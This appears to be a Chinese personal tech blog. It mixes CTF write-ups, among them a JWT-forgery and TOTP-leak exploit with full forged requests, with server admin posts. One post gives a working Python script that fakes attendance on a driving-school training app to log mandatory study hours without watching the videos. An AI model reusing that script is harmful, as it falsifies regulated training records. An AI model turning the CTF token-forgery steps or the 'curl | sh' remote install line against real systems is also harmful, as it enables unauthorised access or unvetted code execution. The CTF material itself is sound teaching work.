https://www.bilibili.com/video/BV1cC411W7pH?A-Router=1&bv_session_id=2bdcd921513a531399dbb2e44047ad37902bda7a68268f2d46bd61f73f8d9a2f&plat_id=124&share_from=h5&share_plat=iphone&share_source=COPY&share_source_iphone=&share_tag=s_i&timestamp=1729249354&unique_k=zPZoAcz

1
2

CURL
https://www.bilibili.com/video/BV1cC411W7pH?A-Router=1&bv_session_id=2bdcd921513a531399dbb2e44047ad37902bda7a68268f2d46bd61f73f8d9a2f&p=78756a637be88ab1e781ab5f3565346234307d&plat_id=124&share_from=h5&share_plat=iphone&share_source=COPY&share_source_iphone=&share_tag=s_i&timestamp=1729249354&unique_k=zPZoAcz

我们会发现有个参数 p 消失了

熟悉叔叔(Bilibili)的朋友就知道了, p 参数指的是合集视频里的索引 (p也就是Part，多Part视频)

而 p 为什么会消失呢？我们来小小逆向一下叔叔的JavaScript 代码

通过搜索 query 等参数改变信息，我们可以定位到这一段代码

可以看标蓝的第二行

`1`	`+n > 1 ? a.query.p = n : delete a.query.p`

这是一句三目运算

判断了 n 是否大于1，如果大于1，则url中 p 参数为 n

否则调用 delete 删除 url 中 p 参数

而 +n 是 JavaScript里的一种比较奇妙的用法

可以通过 +n 实现其他语言 parseInt 的效果

通过以上测试可以看出，当 p 的值符合数字时，+n > 1 才成立

而消失的 p 是一串字符

这也就是为什么 p 会消失

拿到了消失的 p 参数

我们就可以提取flag了，常玩MISC的同学应该能看出，这是一段HEX

用你喜欢的工具解编码就可以拿到火斯卡的FLAG了

至于如何给叔叔服务器塞FLAG，那就不是本题讨论的范围了，自己研究8

1
2

x@xdeMacBook-Air ~ % echo 78756a637be88ab1e781ab5f3565346234307d|xxd -r -p
xujc{花火_5e4b40}

那么这题全通过音频就能解出来，你让我下个这么大的视频什么意思？

为了欢愉

# 路由器 - 0、路由器 - 1

这两题主要考察信息搜集能力和binwalk使用

下载后会拿到一个bin文件

使用binwalk对其分析，可以看到其结构大体为三段

uboot、kernel、rootfs

再使用binwalk解包固件

`1`	`binwalk -e firmware.bin`

# 默认TFTP服务器

通过搜索引擎搜索 bootloader tftp、uboot tftp

可以搜索到几个使用tftp uboot启动内核的文章

https://openwrt.org/docs/guide-user/installation/generic.flashing.tftp

其中会有诸如以下命令

setenv ipaddr 192.168.1.1
setenv serverip 192.168.1.100
tftpboot 0x80000000 openwrt-xxx-generic-xxx-squashfs-factory.bin
erase 0x9f020000 +0x332004
cp.b 0x80000000 0x9f020000 0x332004
boot.m 0x9f020000

这里使用strings直接搜索bootloader字符串

x@xdeMacBook-Air /tmp % strings _Rel.25439.bin.extracted/200|grep serverip
serverip=192.168.1.10
serverip
Using serverip from env %s

这里的 serverip 便是默认TFTP服务器

同理搜索netmask获取设备子网掩码

x@xdeMacBook-Air /tmp % strings ~/binwalk/_TL-7DR7280易展Turbo版\ V1.0_1.0.16_Build\ 230718\ Rel.25439.bin.extracted/200|grep netmask
netmask=255.255.255.0
netmask
\.callbacks:callbacks,\.flags:flags,baudrate:baudrate,bootfile:bootfile,ipaddr:ipaddr,gatewayip:gatewayip,netmask:netmask,serverip:serverip,nvlan:nvlan,vlan:vlan,eth\d?addr:ethaddr,loadaddr:loadaddr,stdin:console,stdout:console,stderr:console,
eth\d?addr:ma,ipaddr:i,gatewayip:i,netmask:i,serverip:i,nvlan:i,vlan:i,dnsip:i,

答案便是 192.168.1.10.255.255.255.0

# 内部代号

这题需要一些经验

大公司研发产品会有一个叫CI/CD的东西

比如某某部门对代码进行了改动，将代码推送至仓库后，例如GitHub Action，Jenkins会自动拉取代码，生成对应版本的产物

在这里，该信息遗留在编译好的内核中

我们可以以 be7200 关键词，搜索内核中的字符串

最后可以定位到这几行

x@xdeMacBook-Air /tmp % strings _Rel.25439.bin.extracted/602E8|grep be7200
/var/lib/jenkins/workspace/soho6_tdmp_qca_be7200_release/slp-sp-target-src/qca/linux-5.4/init/main.c
/var/lib/jenkins/workspace/soho6_tdmp_qca_be7200_release/slp-sp-target-src/qca/linux-5.4/init/initramfs.c
/var/lib/jenkins/workspace/soho6_tdmp_qca_be7200_release/slp-sp-target-src/qca/linux-5.4/arch/arm64/kernel/setup.c
/var/lib/jenkins/workspace/soho6_tdmp_qca_be7200_release/slp-sp-target-src/qca/linux-5.4/arch/arm64/kernel/traps.c
/var/lib/jenkins/workspace/soho6_tdmp_qca_be7200_release/slp-sp-target-src/qca/linux-5.4/arch/arm64/kernel/smp.c
/var/lib/jenkins/workspace/soho6_tdmp_qca_be7200_release/slp-sp-target-src/qca/linux-5.4/arch/arm64/kernel/topology.c
/var/lib/jenkins/workspace/soho6_tdmp_qca_be7200_release/slp-sp-target-src/qca/linux-5.4/kernel/params.c
/var/lib/jenkins/workspace/soho6_tdmp_qca_be7200_release/slp-sp-target-src/qca/linux-5.4/kernel/async.c
/var/lib/jenkins/workspace/soho6_tdmp_qca_be7200_release/slp-sp-target-src/qca/linux-5.4/kernel/irq/manage.c
/var/lib/jenkins/workspace/soho6_tdmp_qca_be7200_release/slp-sp-target-src/qca/linux-5.4/kernel/irq/irqdomain.c
/var/lib/jenkins/workspace/soho6_tdmp_qca_be7200_release/slp-sp-target-src/qca/linux-5.4/kernel/irq/cpuhotplug.c
/var/lib/jenkins/workspace/soho6_tdmp_qca_be7200_release/slp-sp-target-src/qca/linux-5.4/kernel/irq/msi.c
/var/lib/jenkins/workspace/soho6_tdmp_qca_be7200_release/slp-sp-target-src/qca/linux-5.4/kernel/freezer.c

这里爆出的就是该Linux内核编译源文件对应的路径

/var/lib/jenkins/workspace/soho6_tdmp_qca_be7200_release/

内部代号即为

`1`	`soho6_tdmp_qca_be7200`

# Chiikawa

解题视频 -> https://www.bilibili.com/video/BV1RN4y127ky

本题可以Misc、Web方式做

也可以Reverse、Crypto方式做

该题考察对浏览器开发工具的熟悉度

打开开发者工具，可以看到向 /flag 请求了数据，但返回的是一团乱码

但首页在该请求后却出现了形如flag的字符串，我们对JS文件进行全局搜索

可以定位到下面的代码

    const [e,t] = x.useState(!0)
      , [n,r] = x.useState(null)
      , [o,i] = x.useState("是什么呢");
    return x.useEffect( () => {
        e && (fetch("/flag").then(s => s.arrayBuffer()).then(s => {
            const a = new Uint8Array(s);
            r(a)
        }
        ).catch(s => console.error("Error fetching data:", s)),
        t(!1))
    }
    , []),
    x.useEffect( () => {
        if (n) {
            const s = new Uint8Array([162, 62, 141, 197, 128, 113, 130, 47, 27, 147, 187, 37, 159, 48, 46, 136])
              , a = new Uint8Array(n.length);
            for (let d = 0; d < n.length; d++)
                a[d] = n[d] ^ s[d % s.length];
            let l = new TextDecoder().decode(a)
              , u = l.indexOf("{")
              , c = l.indexOf("}");
            if (u !== -1 && c !== -1) {
                let d = l.substring(u + 1, c)
                  , p = l.replace(d, "乌拉呀哈~呀哈乌拉~");
                i(p)
            }
        }
    }

可以看出使用了React的useState和useEffect

flag的初始值为 “是什么呢”

当页面加载时获取 /flag 内容

对内容进行一系列异或，最后将 {} 括号内内容替换为 “乌拉呀哈~呀哈乌拉~”

(这个时候Reverse/Crypto手已经打开Python/CyberChef了)

Reverse/Crypto做法就是把 /flag 保存下来

用逆向出来的 Key 异或解密

Misc/Web的做法就是在这行打几个断点，刷新页面就可以直接出

1
2
3

            let l = new TextDecoder().decode(a)
              , u = l.indexOf("{")
              , c = l.indexOf("}");

# void null()

睡眠排序是一种基于时间的排序算法

解压后可以看到一堆乱七八糟的 .null 文件

但时间不同

这里按时间排序，将文件名拼接到一块，就可以获得 FLAG

Windows可以编写脚本

Linux直接一行命令梭了

`1`	`ls -tr\|cut -d "." -f 1\|xxd -r -p > 0.raw`

ls -tr

是按时间升序排列目录下的所有文件

cut -d “.” -f 1

将获取到的文件名通过 . 分割，获取第一个值，就是把文件名的 .null 去除

xxd -r -p > 0.raw

将获取到的HEX数据通过xxd还原成文件

看一下文件类型

1
2
3

x@xdeMacBook-Air s1eep % file 0.raw
0.raw: RIFF (little-endian) data, Web/P image
x@xdeMacBook-Air s1eep %

Web/P image

改名为 0.webp ,用浏览器打开就直接看到flag

[CTF] FLAG-MACHINE FLAG 发放机题解

Sun, 28 Apr 2024 08:00:01 +0800

# 原理

打开首页

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="refresh" content="1; url='/static/backup.zip'">
    <title>超安全的FLAG自助发放机</title>
    <link rel="stylesheet" href="static/assets/css/simple.css">
</head>

自动下载 /static/backup.zip 下的源码

1
2
3

0.go.bak 源码
build.sh 编译脚本
go.mod GO程序所使用模块的描述文件

先看源码路由

gin.SetMode(gin.ReleaseMode)
r := gin.Default()
service := r.Group("/service")
service.Use(authReq())
{
	service.POST("/flag", flagHandle)
}
r.StaticFile("/", "./assets/index.html")
r.StaticFile("/flag", "./assets/flag.html")
r.StaticFile("/login", "./assets/login.html")
r.StaticFile("/signup", "./assets/signup.html")
r.StaticFile("/update", "./assets/update.html")
r.Static("/static", "./")
r.POST("/x/login", login)
r.POST("/x/signup", signup)
r.GET("/ping", func(ctx *gin.Context) {
	ctx.JSON(http.StatusOK, gin.H{
		"message": "pong",
		"host":    ctx.Request.Host,
	})
})

`1`	`r.Static("/static", "./")`

static 路由开启了文件服务
用dirsearch扫描出nohup.out,backup.zip

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

[18:19:47] Starting: static/
[                    ]  3%    420/11460         0/s       job:1/1  errors:0
[####                ] 21%   2435/11460        21/s       job:1/1  errors:41
[18:32:54] 301 -    0B  - /static/assets  ->  assets/
[18:32:54] 200 -  581B  - /static/assets/
[18:33:23] 200 -    5KB - /static/backup.zip
[18:45:11] 200 -  824KB - /static/nohup.out

Task Completed

backup.zip 是我们获取到的源码
访问一下看看 nohup.out

是程序的 stdout 输出回显

我们看看 /service/flag 路由
该路由在 /service 路由组下，并使用了 authReq() 作为中间件

中间件核心代码为

authHeader := ctx.GetHeader("Authorization")
tokenString := authHeader[7:]
jwtClaims := jwt.MapClaims{}
token, err := jwt.Parse(tokenString, func(token *jwt.Token) (interface{}, error) {
		if _, ok := token.Method.(*jwt.SigningMethodHMAC); !ok {
				return nil, fmt.Errorf("unexpected signing method: %v", token.Header["alg"])
		}
		return []byte(jwtKey), nil
})
ctx.Set("username", jwtClaims["Username"])
ctx.Next()

获取了Authorization请求头，并通过预设的jwtKey解析 Json Web Token
解析成功后将JWT对应用户名设置传给gin ctx上下文

在flagHandle()函数中，获取上面从JWT解析出的 username

func flagHandle(ctx *gin.Context) {
	username := ctx.GetString("username")
	flag := "flag{1234567890}"
	if username == "admin" {
		flag = os.Getenv("GZCTF_FLAG")
	}
	user, ok := get(username)
	if !ok {
		ctx.JSON(http.StatusBadRequest, gin.H{
			"error": "用户不存在, 可能是当前TOKEN已过期",
		})
		return
	}
	key := user.(User).TotpKey
	if !totp.Validate(ctx.PostForm("totpCode"), key) {
		ctx.JSON(http.StatusBadRequest, gin.H{
			"error": "totp code invalid",
		})
		return
	}
	ctx.JSON(http.StatusOK, gin.H{
		"code": 10001,
		"msg":  "Hi," + username,
		"flag": flag,
	})
}

可以看到，需要满足两个条件

用户名为admin的情况下才会将flag设置为环境变量
用户的二步验证码必须正确
满足后才将真实flag输出
普通用户只能拿到 flag{1234567890}

我们打开网站测试一下
先注册
尝试注册admin，提示用户名不可用
我们注册个别的

提示需要TOTP绑定二步验证
我们可以使用 Google Authenticator 或者搜个在线版TOTP使用
这里方便测试使用了在线版
日常使用请使用独立APP并关闭联网权限

绑定成功后我们去登陆

输入TOTP生成器内的验证码，成功登录，弹出一个领flag的按钮
点击《领flag》

毫无疑问的领到假flag
查看请求头,有Token，我们拿去厨子那解码一下

`1`	`Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJFeHBpcmVzQXQiOjE3MTQyMjUwNjcsIlVzZXJuYW1lIjoic2xlZXBzb3J0In0.PsNxcpWWeq8oTRnaEWL6kd-2Ph_kFE3OohCIisctGu4`

选择 JWT Decode

{
    "ExpiresAt": 1714225067,
    "Username": "sleepsort"
}

成功解码，一个过期时间和一个当前用户的用户名
我们尝试JWT伪造
先尝试用程序内的jwtKey

`1`	`var jwtKey = "000_JWT_KEY_REPLACEMENT_000"`

赛博厨子Bake一下

fetch("http://ip:20239/service/flag", {
  "headers": {
    "accept": "*/*",
    "accept-language": "en-GB,en;q=0.9,en-US;q=0.8,zh-CN;q=0.7,zh;q=0.6",
    "authorization": "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJFeHBpcmVzQXQiOjE3MTQyMjUwNjcsIlVzZXJuYW1lIjoiYWRtaW4iLCJpYXQiOjE3MTQyMTg3MjJ9.vtoo5xudfwOhSvcaArw-m7C_qRr85PUvFRJJY8SQ7b0",
    "content-type": "multipart/form-data; boundary=----WebKitFormBoundaryYLPUGU58R8x9ThNO"
  },
  "referrer": "http://ip:20239/flag",
  "referrerPolicy": "strict-origin-when-cross-origin",
  "body": "------WebKitFormBoundaryYLPUGU58R8x9ThNO\r\nContent-Disposition: form-data; name=\"totpCode\"\r\n\r\n876327\r\n------WebKitFormBoundaryYLPUGU58R8x9ThNO--\r\n",
  "method": "POST",
  "mode": "cors",
  "credentials": "include"
});

提示

`1`	`{"error":"无效的授权令牌,可能是没有登录，或签名是伪造的"}`

看来Key是错的
看一下编译脚本内的内容

#!/bin/sh
JWT_KEY=$(cat /dev/urandom | tr -cd 'A-Za-z0-9' | head -c 32)
sed -u s/000_JWT_KEY_REPLACEMENT_000/$JWT_KEY/g ./0.go.bak > 0.go
CGO_ENABLED=0 go build -trimpath -v -ldflags="-w"

使用sed命令把 000_JWT_KEY_REPLACEMENT_000 替换成了随机32位的字符串，有大小写还有数字
可以说告别了爆破

我们得想办法搞到替换后的 0.go 或者编译后的程序来获取jwtKey

`1`	`r.Static("/static", "./")`

static 路径是和程序文件在同一个目录下的尝试static下的 0.go，没有

curl http://ip:20239/static/0.go -i
HTTP/1.1 404 Not Found
Date: Sat, 27 Apr 2024 12:12:47 GMT
Content-Length: 0

压缩包里给了个 go.mod 文件

module goauth

go 1.22.1

require (
	github.com/gin-gonic/gin v1.9.1
	github.com/pquerna/otp v1.4.0
)

而go程序在编译时，会默认使用 module 名作为生成的程序名

 wget http://ip:20239/static/goauth
--2024-04-27 20:18:06--  http://ip:20239/static/goauth
Connecting to ip:20239... connected.
HTTP request sent, awaiting response... 200 OK
Length: 8293884 (7.9M) [application/octet-stream]
Saving to: ‘goauth’

获得了程序
试下strings，有定义没有内容

1
2

strings goauth |grep jwtKey
main.jwtKey

接着我们

# IDA64启动!

结合我们获取到的源码，找一下jwtKey
因为编译时没有 strip
所以函数，字段，都比较清楚

源码内 authReq() 和 login() 函数获取了jwtKey
我们选 authReq()

token, err := jwt.Parse(tokenString, func(token *jwt.Token) (interface{}, error) {
	if _, ok := token.Method.(*jwt.SigningMethodHMAC); !ok {
		return nil, fmt.Errorf("unexpected signing method: %v", token.Header["alg"])
	}

	return []byte(jwtKey), nil
})

在 authReq_func2_1 中找到获取jwtKey的点

获取到 jwtKey
找赛博厨子Bake一下

fetch("http://ip:20239/service/flag", {
  "headers": {
    "accept": "*/*",
    "accept-language": "en-GB,en;q=0.9,en-US;q=0.8,zh-CN;q=0.7,zh;q=0.6",
    "authorization": "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJFeHBpcmVzQXQiOjE3MTQyMjUwNjcsIlVzZXJuYW1lIjoiYWRtaW4iLCJpYXQiOjE3MTQyMjExMTB9.bn9OFUemUmcTum8IiwUzk8avWody3fE9FuslHZpknLU",
    "content-type": "multipart/form-data; boundary=----WebKitFormBoundaryYLPUGU58R8x9ThNO"
  },
  "referrer": "http://ip:20239/flag",
  "referrerPolicy": "strict-origin-when-cross-origin",
  "body": "------WebKitFormBoundaryYLPUGU58R8x9ThNO\r\nContent-Disposition: form-data; name=\"totpCode\"\r\n\r\n876327\r\n------WebKitFormBoundaryYLPUGU58R8x9ThNO--\r\n",
  "method": "POST",
  "mode": "cors",
  "credentials": "include"
});

1
2
3

{
  "error": "totp code invalid"
}

可以看到，不再报JWT错误
但提示了TOTP错误
还需要获取到 admin 的TOTP密钥来生成实时的验证码

程序启动的时候，系统自动添加了admin用户

func main() {
	{
		username := "admin"
		key, err := generateTotpCode("S1eepS0rt", username)
		if err != nil {
			sysLog(err)
		}
		user := User{
			Username:    username,
			Password:    "rsVlkNgAJrDgNuXn/a7LFvYe73w=",
			TotpKey:     key.Secret(),
			TotpEnabled: true,
		}
		set(username, user)
	}
}

可以看到TotpKey是程序运行时生成的
密码设置为一串BASE64
但结合登录函数分析，该Base64其实是密码的hash

func passwordHash(pass string) string {
	passHash := sha1.Sum([]byte(pass))
	return base64.StdEncoding.EncodeToString(passHash[:])
}
if passwordHash(password) != user.Password

前面扫描目录时我们扫到了 nohup.out 可以直接获取程序的 stdout 输出
我们检查下代码，哪里可以导致admin的TotpKey被泄露
我们检查 sysLog() 函数
最终定位到检查用户登录的 check() 函数

func check(username string, password string, totpCode string, ctx *gin.Context) bool {
	if (username == "") || (password == "") {
		ctx.JSON(http.StatusBadRequest, gin.H{
			"error": "Username or password cannot be empty",
		})
		return false
	}
	if value, ok := get(username); ok {
		if user, ok := value.(User); ok {
			if totpCode == "" {
				ctx.JSON(http.StatusBadRequest, gin.H{
					"error": "need totp code",
				})
				return false
			} else {
				if totp.Validate(totpCode, user.TotpKey) {
					return true
				} else {
					sysLog("User:", user.Username, user)
					ctx.JSON(http.StatusOK, gin.H{
						"code":  40001,
						"error": "totp code invalid",
					})
					return false
				}
			}
			if passwordHash(password) != user.Password {
				ctx.JSON(http.StatusBadRequest, gin.H{
					"error": "username or password not match",
				})
				return false
			}
		} else {
			ctx.JSON(http.StatusBadRequest, gin.H{
				"error": "username or password not match",
			})
			return false
		}
	} else {
		sysLog("no such user:", username)
		ctx.JSON(http.StatusBadRequest, gin.H{
			"error": "username or password not match",
		})
		return false

	}
	return false
}

在这个check函数里，先检查了用户名或密码是否为空
接着检查了用户是否存在
若存在，则检查totpCode是否通过
随后才检查了用户的用户名和密码是否匹配
(这里写了个BUG，有一个非预期解，可以一把梭)

if totpCode == "" {
	ctx.JSON(http.StatusBadRequest, gin.H{
		"error": "need totp code",
	})
	return false
} else {
	if totp.Validate(totpCode, user.TotpKey) {
		return true
	} else {
		sysLog("User:", user.Username, user)
		ctx.JSON(http.StatusOK, gin.H{
			"code":  40001,
			"error": "totp code invalid",
		})
		return false
	}
}
if passwordHash(password) != user.Password {
	ctx.JSON(http.StatusBadRequest, gin.H{
		"error": "username or password not match",
	})
	return false
}

当totpCode检查不通过时，会在console中记录对应的用户

`1`	`sysLog("User:", user.Username, user)`

这里直接把整个user结构体打印了
也就是说，我们无需admin的密码，就能泄露其整个用户的结构体数据到 console
结合上面扫描出的 nohup.out 便可获取 admin 的 TotpKey

我们在登录框填写admin，密码和totpCode任意填

提示 totp code invalid
接着我们去获取程序的console输出

获取到了 admin 的 TotpKey

我们此时对 /service/flag 接口提交伪造后的 Json Web Token 并附上根据 admin TotpKey 实时生成的验证码

fetch("http://ip:20239/service/flag", {
  "headers": {
    "accept": "*/*",
    "accept-language": "en-GB,en;q=0.9,en-US;q=0.8,zh-CN;q=0.7,zh;q=0.6",
    "authorization": "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJFeHBpcmVzQXQiOjE3MTQyMjUwNjcsIlVzZXJuYW1lIjoiYWRtaW4iLCJpYXQiOjE3MTQyMjExMTB9.bn9OFUemUmcTum8IiwUzk8avWody3fE9FuslHZpknLU",
    "content-type": "multipart/form-data; boundary=----WebKitFormBoundaryYLPUGU58R8x9ThNO"
  },
  "referrer": "http://ip:20239/flag",
  "referrerPolicy": "strict-origin-when-cross-origin",
  "body": "------WebKitFormBoundaryYLPUGU58R8x9ThNO\r\nContent-Disposition: form-data; name=\"totpCode\"\r\n\r\n285048\r\n------WebKitFormBoundaryYLPUGU58R8x9ThNO--\r\n",
  "method": "POST",
  "mode": "cors",
  "credentials": "include"
});

可得flag

OPENSSL生成CSR

Sat, 13 Feb 2021 12:00:00 +0800

1
2

openssl genrsa -out server.key 2048  
openssl req -new -key server.key -out server.csr -subj "/C=HK/ST=/L=/O=/OU=/CN=domain.com/emailAddress=admin@domain.com"

# 自签名

`1`	`openssl req -new -x509 -days 3650 -key server.key -out server.crt -subj "/C=/ST=/L=/O=/OU=/CN=domain.com/emailAddress=admin@domain.com"`

使用CDN时防止源站被扫描攻击

Sun, 27 Dec 2020 11:17:18 +0800

# 使用CDN就安全无虞?

部署SSL证书时，获取的证书中会包含您签发的域名，通过扫描443端口，可获取部署在该IP地址上的相关证书，从中解析出包含的域名。即使您通过CDN反向代理了网站，只要源站没有对外封禁，且部署了含有您域名的证书，通过扫描便可轻松的获取您域名所对应的源站IP地址。
从而绕过CDN保护以及WAF对您进行4层或7层攻击。

# 使用IPV6地址回源

若您的服务器有IPV6支援且CDN支持IPV6回源，您可以将回源地址设置为IPV6地址，IPV6地址繁多，扫描不可能或者说基本不现实。（同时需要您将IPV4的443端口做封禁）

# 使用无域名信息的自签证书

您可以在您的服务器上部署不包含您任何明显信息的自签名证书，从而避免扫描源站。

1
2

openssl genrsa -out server.key 2048  
openssl req -new -x509 -days 3650 -key server.key -out server.crt -subj "/C=/ST=/L=/O=/OU=/CN="

以上命令便生成了一份不包含多余信息的SSL证书，证书名为server.crt，私钥名为server.key 部署在源站，重启您的web服务，便可使您在使用CDN是不泄漏源站。
（注意，若CDN验证源站的证书有效性可能会无法通信，以CloudFlare为例，您需要确保其SSL设置为FULL但不是FULL（Stict）以确保可以顺利回源。）
当您设定CDN为不检查证书有效性时，有可能遭受MITM中间人攻击。但目前来看，在公网，这种情况不太普遍。

# 内网/隧道传输

使用同一公有云的服务器，构建VPC内网，结合负载均衡，跨地域云企业网，等服务实现数据全内网传输，到最终用户。若采用了不同供应商，可以搭配VPN网关接入，或者您有更高吞吐量更高要求可以进行线下物理专线的牵拉。如您恰好财力雄厚，可以咨询相关公有云客户经理寻求帮助。

使用Python自动观看驾校视频并打卡

Sat, 15 Aug 2020 11:17:18 +0800

# 抓包

研究了驾考软件后发现APP就是个套壳浏览器，直接与http接口交互即可。

由于我的主设备是iOS，这里使用了QuantumultX 进行调试抓包，有些或许是https通信还需要配置下MITM，我这里全是裸http就不必了。

# 分析

测试后发现，观看视频与提交没有关联，遂跳过视频相关处理，直接到最后的提交部分。

服务端是没有计时器的，只要提交数据的时间符合便可记录学时，主要为StartTimeID记录开始时间，endtime记录经过的时间，提交时服务器。这个StartTimeID为后端生成，应该是有特定的公式，多次尝试后找不到相关规律，无法根据当前时间反推开始时间，直接粗暴的实时获取StartTimeID，使用了Sleep进行等待再提交。

#!/usr/bin/python3
# Author: Srotiy
# 2020.08.15
# 不想看视频不想去驾校，那咋办嘛？
import json
import requests
import time
import random
# Login Information
LoginName = "###"
Password = "###"
Url = "http://"
# TelegramBotInformation
TelegramApi = "#"
TelegramBotToken = "#"
TelegramUserID = "#"
headers = {
    "User-Agent": "aaej-training/201908081930 CFNetwork/1128.0.1 Darwin/19.6.0",
    "Content-Type": "application/json",
    "Accept": "*/*",
    "Connection": "keep-alive"
}
# Login，GetSomeCookie.
def GetCookie():
    global Url, headers, LoginName, Password
    headers['Content-Type'] = "application/json"
    rLogin = requests.post(Url+'stdLoginV3', headers=headers, json={"version":"5","name":LoginName,"pass":Password,"platform":"ios"})
    print(rLogin.json())
    Cookie = 'sid='+rLogin.json()['userToken']
    return Cookie

# GetVideoID
headers['Cookie'] = GetCookie()
rVideolist = requests.post(Url+'video/getVideoList', headers=headers)
allvideoid = []
for videoidList in rVideolist.json()['videoList']:
    if videoidList['km'] == 'km3':
        allvideoid.append(videoidList['id'])

videoid = random.choice(allvideoid)
# GetStartTimeid
headers['Content-Type'] = "application/x-www-form-urlencoded"
VideoInfo = requests.post(Url+'video/playVideo', headers=headers, data='cdId='+videoid).json()
StartTimeid = VideoInfo['sttId']
print("StartTimeid: "+StartTimeid)
print("VideoID: "+videoid)
WaitTime = random.randint(2760,3600)
print('WaitTime: '+str(WaitTime)+'s')
time.sleep(WaitTime)
# QuitVideo & SaveStudyTime
headers['Content-Type'] = "application/json"
headers['Cookie'] = GetCookie()
rQuit = requests.post(Url+'video/quitVideoMobile', headers=headers, json={"isOver":"true","endTime":random.randint(2000,3000),"isContinueStudy":"false","videoPara":StartTimeid+"-"+videoid}).json()
# Send Message To Telegram
print(rQuit)
requests.get(TelegramApi+TelegramBotToken+"/sendMessage?chat_id="+TelegramUserID+"&text=Videoid: "+videoid+"\nStartTimeid："+StartTimeid+"\n"+rQuit['msg']+'\n用时: '+str(WaitTime)+'s', headers=headers).json()
# Get Study Time Info
time.sleep(300)
headers['Cookie'] = GetCookie()
km1time = requests.post(Url+'getStudytimeInfo', headers=headers).json()[0]['CURRENTTIME']
km3time = requests.post(Url+'getStudytimeInfo', headers=headers).json()[1]['CURRENTTIME']
requests.get(TelegramApi+TelegramBotToken+"/sendMessage?chat_id="+TelegramUserID+"&text=科目一："+km1time+"分钟\n科目三："+km3time+"分钟", headers=headers).json()

解决netplan的dns问题

Sat, 17 Nov 2018 11:17:18 +0800

# 问题

Ubuntu启用新的网络管理程序Netplan Dhcp获取到的dns有问题，不能用，要替换查了资料替换后，dhcp获取到的dns依旧无法删除，有一定几率无法解析

# 解决

也懒得换ifupdown 在netplan下，resolv.conf只是个符号链接一把梭直接把/etc/resolv.conf写死,不用本地缓存了 rm -rf /etc/resolv.conf echo nameserver 1.0.0.1 > /etc/resolv.conf echo nameserver 8.8.8.8 >> /etc/resolv.conf

使用Alien转换rpm及deb包

Sat, 23 Jun 2018 11:17:18 +0800

# 安装

1
2

sudo apt update`
`sudo apt install alien

# 使用

这里我们以java的rpm包为例 sudo alien jre-8u171-linux-x64.rpm -c -d jre1.8_1.8.0171-1_amd64.deb generated sudo dpkg -i jre1.8_1.8.0171-1_amd64.deb

结果。 Selecting previously unselected package jre1.8. (Reading database ... 37875 files and directories currently installed.) Preparing to unpack jre1.8_1.8.0171-1_amd64.deb ... Unpacking jre1.8 (1.8.0171-1) ... Setting up jre1.8 (1.8.0171-1) ... Unpacking JAR files... plugin.jar... javaws.jar... deploy.jar... rt.jar... jsse.jar... charsets.jar... localedata.jar... /usr/sbin/alternatives not available, skip registering alternatives for java...

使用ytb-dl下载ytb视频

Tue, 01 May 2018 11:17:18 +0800

# 安装ytb-dl

# GitHub地址

`1`	`https://github.com/rg3/youtube-dl`

# Linux上安装

1
2

sudo curl -L https://yt-dl.org/downloads/latest/youtube-dl -o /usr/local/bin/youtube-dl`
`sudo chmod a+rx /usr/local/bin/youtube-dl

# Windows上安装

你可以在官网下载 https://yt-dl.org/latest/youtube-dl.exe

# 安装ffmpeg

为啥要安装ffmpeg呢? 因为在ytb上,1080p及以上分辨率的视频都是音频和视频分离开的下下来的视频是没有音频的,要使用ffmpeg合成 (无损合成,并不会损失画质)

# 在Debian上安装

1
2

sudo apt update`
`sudo apt install ffmpeg

# 在Windows上添加变量

https://ffmpeg.zeranoe.com/builds/ 在这个网站下载然后解压到c盘下面应该看起来是这样的 C:\ffmpeg-20180424-d9706f7-win64\bin\ffmpeg.exe 然后是添加变量

# 使用

格式 youtube-dl --proxy 代理地址 -F 链接 像这样youtube-dl --proxy http://192.168.24.100:1088 -F https://www.youtube.com/watch?v=rgKLYjiC5MU 192.168.24.100是我内网中的一台intel E3-1265L的Debian机器搭建的内网HTTPproxy 本地的话就用一些其他东西代替参数-F(大写)是列出可以下载的视频的一些情况看一下格式，我这里下载个2560x1090的MP4版本,音频为m4a的视频 id是264+140 youtube-dl --proxy http://192.168.24.100:1088 -f 264+140 https://www.youtube.com/watch?v=rgKLYjiC5MU -f(小写)是用来下载的下载在当前目录下了并自动使用了ffmpeg合并完

使用acme.sh进行泛域名和多域名的Let's Encrypt证书签发

Mon, 30 Apr 2018 11:17:18 +0800

# 安装acme.sh

# GitHub地址

`1`	`https://github.com/Neilpang/acme.sh`

# 安装

sudo apt update sudo apt install curl curl https://get.acme.sh | sh source ~/.bashrc acme.sh -h 有帮助输出便是安装成功

# 签发证书

这里是签发通配符证书，所以不能像以前使用http验证法了用dns验证法当然要用api啦自己修改不仅累死还会忘

# 使用api

我这使用了cloudflare的api export CF_Key="233" export CF_Email="233@1.com" key填cloudflare的key Email填账号Email 如果你使用dnspod export DP_Id="1234" export DP_Key="sADDsdasdgdsf"

# 开始签发

不仅支持san还支持泛域名可以这样写 acme.sh --dns dns_cf --issue -d a.com -d \*.a.com -d a.me -d \*.a.me -k ec-256 上面的命令就签发了以下四个域名的ecc证书，在一张证书里。 a.com *.a.com a.me *.a.me 然后acme.sh就会根据api修改你的dns记录还可以签发rsa证书使网站支持ecc+rsa双证书 acme.sh --dns dns_cf --issue -d a.com -d \*.a.com -d a.me -d \*.a.me 输出如下 Your cert is in /home/srotiy/.acme.sh/*.a.com/*.a.com.cer Your cert key is in /home/srotiy/.acme.sh/*.a.com/*.a.com.key The intermediate CA cert is in /home/srotiy/.acme.sh/*.a.com/ca.cer And the full chain certs is there: /home/srotiy/.acme.sh/*.a.com/fullchain.cer 所有关于该证书的文件就会存在以证书命名的文件夹中如果是ecc证书，文件夹会看起来像这样 Your cert is in /home/srotiy/.acme.sh/*.a.com_ecc/*.a.com.cer Your cert key is in /home/srotiy/.acme.sh/*.a.com_ecc/*.a.com.key The intermediate CA cert is in /home/srotiy/.acme.sh/*.a.com_ecc/ca.cer And the full chain certs is there: 